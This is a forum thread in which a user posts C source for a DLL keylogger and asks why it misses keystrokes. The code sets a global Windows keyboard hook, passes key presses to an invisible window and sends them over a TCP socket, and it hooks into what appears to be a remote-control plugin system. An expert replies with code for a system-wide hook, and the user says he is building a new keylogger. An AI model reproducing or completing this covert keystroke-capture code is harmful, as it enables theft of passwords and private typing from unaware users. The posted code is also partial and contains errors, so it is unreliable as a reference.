[Webinar] Streamline your web hosting managementRegister Today

x
  • Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 509
  • Last Modified:

SetWindowsHook Problem ?

Here is part of my program which is inside a DLL. The code is supposed to keylog all messages and send to a connected socket. However, it does not work for all keystrokes, only those associated with a process which has called a different context of the DLL ! (for some reason???) (see below for explanation)

Not all of the CODE, but general gist:

SOCKET          nsock;
HINSTANCE      hginstance, hracpapi;
HANDLE            hthread;
DWORD            exitcode, tid;

LRESULT CALLBACK keyproc(int code, WPARAM wParam, LPARAM lParam)
{
      if (code == HC_ACTION) {
short keystate = GetKeyState((int)wParam);
if ((HIBYTE(keystate) & 128) == 128) {
HWND      hwnd = FindWindow(NULL, "RACPLOGWND");            
      if (hwnd != NULL) // send to invisible window !            SendMessage(hwnd, 12345, wParam, lParam);
            }
      }
      else {                
            if (code < 0)
                   return CallNextHookEx(hook, code, wParam, lParam);
      }
      return 0;
}

LRESULT CALLBACK logwndproc(HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam)
{
      switch (umsg) {
            case 12345:  // key data - we have a key press - send key to socket
                  int            scan, virt;
                  virt = (int)wparam;
                  scan = MapVirtualKey(virt, 0);
                  scan <= 16;
                  BYTE      kbuf[256];
                  WORD      ch;
                  int            chcount;
                  
                  GetKeyboardState(kbuf);
                  chcount = ToAscii(virt, scan, kbuf, &ch, 0);
                  if (virt == VK_RETURN) {
                        if ((send(nsock, (char *)"\n\r", 2, 0)) == SOCKET_ERROR)
                              PostQuitMessage(0);
                  }
                  else {
                        if ((send(nsock, (char *)&ch, chcount, 0)) == SOCKET_ERROR)
                              PostQuitMessage(0);
                  }
                  break;       
            case WM_CLOSE:
            case WM_DESTROY:
            case WM_ENDSESSION:
            case WM_QUIT:
            case WM_QUERYENDSESSION:
                  PostQuitMessage(0);
                  break;
      }      
      return DefWindowProc(hwnd, umsg, wparam, lparam);
}

void keylogthread(void *arg)
{
      WNDCLASS      wndclass = {0};
      MSG                  msg;
      WSADATA            wsadata;
      DWORD            addr = 0;
      struct            sockaddr_in sa;
      struct            _plpacket      plpacket;
      SOCKET            sock;
      int                  len = sizeof(sa);

      WSAStartup(0x0101, &wsadata);

      sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
      memcpy(&sa.sin_addr, &addr, 4);
      sa.sin_port = htons(12345);
      sa.sin_family = PF_INET;
      if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR)
            return; // can't bind
      listen(sock, 5);
      plpacket.msg = CLID_PLUGIN;
      strcpy(plpacket.pl_execute, funcname);
      plpacket.udata = 1;
      (*senddata)(srvsock, sizeof(plpacket), (char *)&plpacket);
      nsock = accept(sock, (struct sockaddr *)&sa, &len);
      wndclass.style = 0;                                                                                    
      wndclass.lpfnWndProc = (WNDPROC)logwndproc;
      wndclass.hInstance = hginstance;
      wndclass.hIcon = NULL;
      wndclass.hCursor = NULL;
      wndclass.hbrBackground = NULL;
      wndclass.lpszMenuName = NULL;
      wndclass.lpszClassName = "RACPLOGCLASS";
      RegisterClass(&wndclass);
      hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)keyproc, hginstance, 0);
      if (hook == NULL) {
            send(nsock, (char *)"Error ! Can't HOOK Keyboard!", 28, 0);
            return;
      }
      hwnd = CreateWindow("RACPLOGCLASS", "RACPLOGWND", 0, 0, 0, 0, 0, NULL, NULL, hginstance, NULL);
      if (hwnd == NULL) {
            send(nsock, (char *)"Error ! Can't Create Window!", 28, 0);
            UnhookWindowsHookEx(hook);
            closesocket(nsock);
            return;
      }
      while (GetMessage(&msg, hwnd, 0, 0))
            DispatchMessage(&msg);
      UnhookWindowsHookEx(hook);
}

The way it works is as follows:
When DLL_PROCESS_ATTACH occurs, instance is copied into global hginstance. Then, a listening socket is created and waits for a connection. When connected, set's up an invisible window whose job is to receive a 12345 message from the keyboard hook procedure. This message contains data about the key-press information recorded by the hook procedure.

As i said, it only records key-strokes from a specifc app which has called the DLL, but in a totally different context ! However, on any other app e.g. notepad, it is really slow typing and the hook proc does not receive any messages ? Is there something wrong with the Calling of the hook ? Please Help, Thanx,
Afzal.

0
afzalj
Asked:
afzalj
  • 5
  • 3
1 Solution
 
jkrCommented:
Do you use the DLL's instance handle and a thread id set to 0 in your call to 'SetWindowsHookEx()'?
0
 
afzaljAuthor Commented:
Yep
0
 
afzaljAuthor Commented:
The DLL instance handle is the same as the calling process instance handle, no ?
0
Upgrade your Question Security!

Your question, your audience. Choose who sees your identity—and your question—with question security.

 
jkrCommented:
>>The DLL instance handle is the same as the calling
>>process instance handle

Not at all! It's the handle obtained by the call to 'LoadLibrary()'.

That's what I do (inside the DLL!):

#pragma data_seg( ".shared")
HHOOK       g_hhk   =   NULL;
#pragma data_seg()
#pragma comment ( linker, "/section:.shared,rws")

HINSTANCE   g_hThisDll;

int APIENTRY    DllMain (   HINSTANCE   hInstance,
                            DWORD       dwReason,
                            LPVOID      lpReserved
                        )
{
    if  (   dwReason    ==  DLL_PROCESS_ATTACH)
        {
            g_hThisDll  =   hInstance;

            return  (   DisableThreadLibraryCalls   (   g_hThisDll));
        }

    return( TRUE);
}


LONG __DYNLINK HookInit ()
{
    if  (   g_hhk)  return  (   ERROR_ALREADY_EXISTS);

    g_hhk   =   SetWindowsHookEx    (   WH_GETMESSAGE,
                                        ( HOOKPROC) HookProc,
                                        g_hThisDll,
                                        0
                                    );

    return  (   0);
}

LONG __DYNLINK HookTerm ( void)
{
    UnhookWindowsHookEx (   g_hhk);

    return  (   0);
}


0
 
jkrCommented:
Well, did it help?
0
 
jkrCommented:
Are you still working on this?
0
 
afzaljAuthor Commented:
Nope, making a new keylogger altogther. Thanx, u can have points.
0
 
jkrCommented:
Thank you!
0

Featured Post

Free Tool: IP Lookup

Get more info about an IP address or domain name, such as organization, abuse contacts and geolocation.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

  • 5
  • 3
Tackle projects and never again get stuck behind a technical roadblock.
Join Now